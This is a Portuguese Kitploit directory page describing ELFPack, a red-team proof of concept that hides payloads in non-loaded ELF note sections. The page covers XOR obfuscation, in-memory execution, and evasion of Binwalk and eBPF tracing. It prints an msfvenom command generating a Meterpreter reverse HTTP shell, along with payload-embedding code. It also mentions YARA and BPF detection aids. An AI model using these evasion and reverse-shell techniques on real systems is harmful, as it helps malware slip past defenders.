Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/dsnezhkov/elfpack
Geração de PayloadsExploraçãoAnálise de MalwareTestes de PenetraçãoAnálise de BináriosRed TeamingDesenvolvimento de Payloads
GitHubdsnezhkov/elfpack

elfpack

Kit de encaixe de seção binária ELF para entrega de payload sem estágio, permitindo anexo de payload em campo, evasão de assinatura e resistência a carregamento estático/dinâmico por meio de manipulação personalizada de seção ELF.

Ver Repositório
5110há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ElfPack: Acoplamento de Seções ELF para Entrega de Payload sem Estágios

Destaques

  • Visão geral dos mecanismos de agrupamento de payload: compilação, vinculação e carregamento.
  • Compatibilidade binária e criação de payloads fracamente acoplados ao seu mecanismo de entrega.
  • Evitando o carregamento automático de seções na memória.
  • Uso de tipos de seção estruturados.
  • (Re)anexação de payload em campo a carregadores via seções ELF. Traga seu próprio payload.
  • Evasão de assinatura com seções ELF pré-compiladas desanexadas.
  • Anexação de payload "drive-by" a carregadores com pipeline de geração de payload.
  • Criação de binários de payload "gordurosos" e o caso para evitar empacotadores binários.
  • Empacotamento de payloads complexos.
  • Ofuscação de payload e opções de proteção de chave.
  • Resistência a rastreamento de carregamento estático e dinâmico de payload. Binwalk e eBPF.

Incorporação de payloads

Inclusão hexadecimal-binária com compilação e vinculação

  1. Diretamente na seção de dados padrão ou texto: Normalmente, o compilador coloca os objetos que gera em seções como .data.

payload.h:

root@kitploit:~
const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 
};

Feito manualmente ou com ferramentas como bin2c ou xxd -i payload.bin > payload.h com inclusão de cabeçalho adicional.

Armazenar payloads em .text e .data de forma genérica também é uma má ideia devido à facilidade de rastreamento de carregamento e introspecção de semântica comportamental do carregamento de dados para execução.

  1. Em uma seção separada. Você pode colocar dados de payload em seções adicionais, ou precisa que certas variáveis específicas apareçam em seções especiais. Isso é feito por um mecanismo dependente do compilador. No gcc, é feito via __attribute__. Isso é um pouco melhor, mas ainda bem rastreável devido à forma como o ELF é criado e carregado.
root@kitploit:~
char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* Initialize stack pointer */
    init_sp (stack + sizeof (stack));

    /* Initialize initialized data */
    memcpy (&init_data, &data, &edata - &data);
}
  1. Inclusão binária pelo vinculador

Uma diretiva do tipo .incbin dependente do montador pode criar uma seção e incorporar um payload. Ex: gcc -c payload.s ou ld -r -b payload.bin -o payload.o

root@kitploit:~
.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

Com recuperação posterior no carregador como:

root@kitploit:~
int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

Nota: Podemos incluir um ELF totalmente funcional no payload.bin, o que é importante quando se trata de criar binários "gordurosos", contendo elementos de vários kits de ferramentas.

Nota: Existem ferramentas mais ergonômicas para realizar a tarefa, como INCBIN de @graphitemaster [link]

Uma variação do tema é o ASM inline como:

root@kitploit:~
/* Raw image data for all embedded images */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* Image structures for all embedded images */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

Nota: Observe PROGBITS na definição de uma seção, isso será importante.

A inclusão binária de payload baseada em compilador/link ed não é ideal

Há concessões:

  • O processo de incorporação está fortemente acoplado à criação do carregador de payload.
  • E quanto às mudanças no formato do payload?
  • Por padrão, seções que carregam dados têm o sinalizador PROGBITS definido, e serão carregadas via PT_LOAD na memória pelo carregador do SO por padrão. Talvez não queiramos isso.

Representação de seção ELF em disco/memória

Diagrama ELF PROGBITS

O tipo de seção e os sinalizadores definidos na nova seção que a contém determinam se o carregador do SO a carrega na memória ao iniciar o executável. Algumas seções são carregadas automaticamente por padrão, outras não (por exemplo, .symtab, .strtab)

Do ponto de vista ofensivo, quais eficiências podemos obter disso?

Incorporação de payloads: tentativa 2

  1. Podemos evitar definir sinalizadores em seções que assumem carregamento padrão na memória.

  2. Podemos usar um tipo diferente de seção que não carrega na memória.

Um fornecedor ou engenheiro de sistema pode precisar marcar um arquivo objeto com informações especiais que outros programas possam verificar para conformidade ou compatibilidade. Seções do tipo SHT_NOTE e elementos de cabeçalho de programa do tipo PT_NOTE podem ser usados para esse fim.

No último caso, podemos ver o uso deste tipo de seção em binários do sistema:

root@kitploit:~
$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

E podemos inspecionar seu conteúdo:

root@kitploit:~
$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

O resultado final da criação de uma seção SHT_NOTE terá esta aparência no ELF: SHT_NOTE

Bônus: SHT_NOTE nos dá estrutura se precisarmos usá-la (e usaremos mais adiante):

Estrutura SHT_NOTE

Acoplamento de Seção ELF

Até agora fomos capazes de criar uma seção, evitando que seja carregada na memória pelo carregador do SO. A seção está efetivamente dormente na imagem ELF no momento. Discutiremos como carregá-la um pouco mais tarde. No entanto, uma questão mais urgente é o fato de que ainda estamos operando no nível do compilador e do vinculador, e a seção é um objeto que é entrelaçado na estrutura do ELF final, criando relacionamentos e endereços de memória a partir do código do carregador que referencia seu conteúdo.

Objeto de seção ELF

E se fôssemos capazes de criar uma seção ELF com payload incorporado fora do fluxo de trabalho de compilação do carregador, e anexar essa seção posteriormente ao binário do carregador?

Isso quebraria o relacionamento do código do carregador com a interação da seção. Então ensinaríamos o carregador como encontrar e carregar sua seção de dados estrangeira, efetivamente "acoplando" um payload a um carregador de maneira fracamente acoplada.

Conceitualmente, nossos objetivos seriam:

  • O carregador não deve estar envolvido com a semântica do payload.
  • Carregar e executar o payload:
    • Sem modificar o código do carregador?
    • Sem usar o carregador ELF do SO (ld.so) que carrega segmentos do payload na memória automaticamente.
  • (Re)anexação de payload em campo.

O relacionamento carregador/payload (na seção) agora se pareceria com isso:

Relacionamento Carregador/Payload

Podemos então criar um injetor que introduzirá uma seção de payload ao carregador sem que nenhum dos dois opere no nível de código, apenas compatibilidade binária (e o carregador sabendo como carregar qualquer seção de payload).

Injetor ELF

Alguns resultados dessa configuração genérica de acoplamento de seção ELF:

  1. Um carregador ELF estático pode então ser distribuído por conta própria, desprovido de payloads, apenas com mecanismos para carregar uma seção sob demanda e inicializar o payload a partir dela.

  2. O payload pode ser empacotado separadamente e agrupado com o carregador a qualquer momento como um estágio estático, ou posteriormente com um injetor. O payload pode frequentemente ser criptografado, muitas vezes ser um executável ELF em si, se necessário, desde que o carregador conheça não a estrutura do payload, mas apenas suas capacidades de empacotamento.

  3. O injetor pode intermediar a anexação de seções de vários binários (estágios dormentes) para construir uma seção e injetá-la no carregador.

  4. Há vantagens na construção no nível de seção versus empacotamento de múltiplos recursos em um executável. Não há sobrecarga de detecção para processamento e código de empacotador. Há ganhos em termos de carregar múltiplas seções com outras ferramentas que dependem de lançamento em memória e não podem ser facilmente empacotadas devido à forma como os empacotadores precisam extrair binários para o sistema de arquivos. (Mais sobre binários "gordurosos" na seção)

Componentes do acoplamento ELF:

Vamos discutir os componentes do acoplamento de seção ELF em mais detalhes.

Injetor ELF seccional:

Disposição: posterior ou em campo Vantagens:

  • Carregador agnóstico ao payload (proxy)
  • Pipeline de geração de payload simplificado
  • Anexação de payload a carregador em campo sem necessidade de compiladores

Carregador ELF seccional:

Disposição: em campo Vantagens:

  • Agnóstico ao payload anexado
  • Carrega ELFs completos ou shellcode (mais possibilidades) a partir da leitura e análise de seu próprio binário.
  • Se você precisar de shellcode, pode criar um ELF em execução a partir dele (por exemplo, o mettle do Metasploit)
  • Rastreamento não vê chamadas mprotect()
  • Separação de ar entre onde o payload está e os arrays .DATA normais.
  • Isso alcança abstração para rastreadores.
  • Capacidade de aceitar e encaminhar argumentos para os próprios payloads.

Payload binário:

Vantagens:

  • Payload é um programa totalmente funcional com menos restrições, dados, segmentos LDD intactos.
  • Pode ser ofuscado de forma única sem se preocupar com espaço (registros .NOTE têm tamanho variável).
  • Pode ser extraído para o FS ou executado como parte de um sumário (carregadores de payload "gordurosos").
  • Não precisa ser realocado, pode ser encadeado a outros carregadores.
  • Exemplo de anexação cruzada e evasão de detecção: O Carregador A lê o payload do Carregador B.

Oportunidades de evasão

Fortalecendo o injetor/empacotador ELF seccional:

  • Payload XORado, mas AES pode ser implementado.
  • Metadados de chave XOR armazenados em marca d'água fora de banda.
  • Chaves XOR não são divulgadas.
  • Ofuscação adicional de dados XORados possível.

Fortalecendo o carregador ELF:

  • Payload XORado por padrão, mas AES pode ser implementado.
  • Metadados de chave XOR são minerados em marca d'água fora de banda.
  • Separação do tempo de lançamento do carregador != tempo de carregamento do payload, se necessário.
  • Facilidade para daemonização (capacidade de trabalhar com userland exec e memfd_create)
  • Possibilidade de evasão para cálculo de entropia do payload e anti-carving: Binwalk não vê o payload por padrão, não consegue esculpir (exemplo na demonstração: empacotando payload do msfvenom)

Discussão sobre carregador específico do kit de ferramentas de acoplamento de seção ELF:

Algumas palavras sobre o carregador seccional ELF trabalhando com o lançador de payload:

O carregador pode utilizar um de dois mecanismos de execução de payload em memória:

  • Opção A: SYS_Memfd_create ()

    • Feito com libreflect[] link] mas pode ser feito com zombieant pre-loader[link]
    • Mais detectável em níveis:
      • arquivo anônimo em /proc/self/fd/
      • usa sys_memfd_create (syscall #319)
    • Faz fork/exec, o rastreamento BPF para execve() gravará.
  • Opção B: Execução em Userspace (https://grugq.github.io/docs/ul_exec.txt)

    • Feito com libreflect por enquanto. Interface agradável.
    • Escava o carregador e sobrepõe com o payload.
    • Sem chamadas sys_enter_exec / sys_exit_exec. Rastreamento BPF para execve() não captura.
    • Desvantagem: não é possível daemonizar via carregador (a memória do carregador é perdida na sobreposição) mas o payload pode se daemonizar quando for lançado: a beleza de enviar binários ELF vs. enviar shellcode 

Execução do fluxo de trabalho: Injetor ELF Injetor ELF

Oportunidades de evasão do Binwalk após payload seccional ELF vs. payload MSF: Injetor ELF

Evasão de eBPF vs. empacotador seccional ELF: Injetor ELF

Ferramentas de detecção:

Verificador e testes YARA: Injetor ELF

Injetor ELF

Definição da ferramenta STIX:

Injetor ELF

Construindo o POC do ELFPack

  • Para Cmake: antes da compilação limpa, execute: cmake --configure . para configurar seu ambiente de compilação. Suportamos CMAke 3.18 no momento.
  • ./build.sh

Dependências do ELFPack:

  • Usamos a biblioteca libreflect para este POC de https://github.com/rapid7/mettle
  • Ela é compilada para você e distribuída sob vendor/lib/reflect/libreflect.a, mas pode ser recompilada do repositório original, se necessário.
  • Tempo de execução: Se você quiser brincar com BPF e bpftrace, instale os cabeçalhos de kernel apropriados para sua distribuição.

Uso

  • Frontend: Veja run.sh
  • Backend: Este PoC opera com o implant mettle do Metasploit, então para capturar seu tráfego no servidor MSF, você usaria um arquivo RC aux/msfrc como:
root@kitploit:~
msfconsole -r aux/triage/msfrc
  • O payload MSF (mettle) pode ser gerado da seguinte forma:
root@kitploit:~
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf
  • O rastreamento BPF pode ser feito da seguinte forma (você precisa de root):
root@kitploit:~
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
  • Exemplo de integração YARA via ligações Python pode ser visto em aux/triage/elfpack_yar.py
root@kitploit:~
./aux/triage/elfpack_yar.py <caminho/para/arquivo/elf> [elf_section]
Baixar ferramenta